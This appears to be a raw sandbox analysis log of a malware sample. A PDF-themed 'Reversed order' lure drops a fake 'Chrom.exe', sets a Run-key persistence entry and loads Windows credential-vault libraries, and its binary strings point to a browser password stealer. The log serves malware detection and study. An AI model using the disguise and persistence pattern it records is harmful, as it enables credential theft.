Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: pstorec.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: pstorec.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: pstorec.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: pstorec.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: pstorec.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: pstorec.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: msftedit.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: iconcodecservice.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: windows.globalization.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: bcp47mrm.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: globinputhost.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: dataexchange.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: dcomp.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: twinapi.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: pstorec.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: pstorec.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Downloads\Chrom.exe	Section loaded: coremessaging.dll

Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9FC8E510-A27C-4B3B-B9A3-BF65F00256A8}\InProcServer32

Source: C:\Users\user\Downloads\Chrom.exe	Automated click: OK
Source: C:\Users\user\Downloads\Chrom.exe	Automated click: OK
Source: C:\Windows\System32\Conhost.exe	Automated click: OK

Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe

File opened: C:\Windows\SysWOW64\MsftEdit.DLL

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source:	Binary string: \obj\Debug\FoxmaiI.pdb source: Reversed order 24-25.exe, 00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Reversed order 24-25.exe.12.dr
Source:	Binary string: c:\Projects\VS2005\WebBrowserPassView\Command-Line\WebBrowserPassView.pdb source: Reversed order 24-25.exe, 00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Reversed order 24-25.exe, 00000010.00000002.3820349183.00000000040E4000.00000004.00000800.00020000.00000000.sdmp, Chrom.exe, 00000014.00000002.2024915456.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000014.00000000.2003421936.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000002.2079711793.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000000.2063373851.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000000.2110985328.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000002.2458687781.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000000.2114309389.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000002.2389516998.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000026.00000000.2114930914.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000026.00000002.2573942891.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000027.00000002.2558152686.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000027.00000000.2115852858.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002D.00000002.2551764898.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002D.00000000.2119958837.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002E.00000000.2119851802.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002E.00000002.2533737416.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002F.00000002.2585861110.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002F.00000000.2119909848.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000030.00000000.2119994043.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000030.00000002.2585719504.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000044.00000002.2466846625.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000044.00000000.2133602924.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000045.00000000.2140761052.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000045.00000002.2500268582.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000046.00000002.2585932289.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000046.00000000.2134107679.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000053.00000002.2580371925.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 000000
Source:	Binary string: \obj\Debug\FoxmaiI.pdb, source: Reversed order 24-25.exe, 00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Reversed order 24-25.exe.12.dr

Source: Reversed order 24-25.pdf	Initial sample: PDF keyword /JS count = 0
Source: Reversed order 24-25.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: Reversed order 24-25.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: Reversed order 24-25.exe.12.dr

Static PE information: 0x8C13FCB7 [Tue Jun 21 11:08:39 2044 UTC]

Source: Reversed order 24-25.exe.12.dr

Static PE information: section name: .text entropy: 6.8802607956054

Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	File created: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Chrom.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	File created: C:\Users\user\Downloads\Chrom.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows Application
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows Application

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process information set: NOOPENFILEERRORBOX
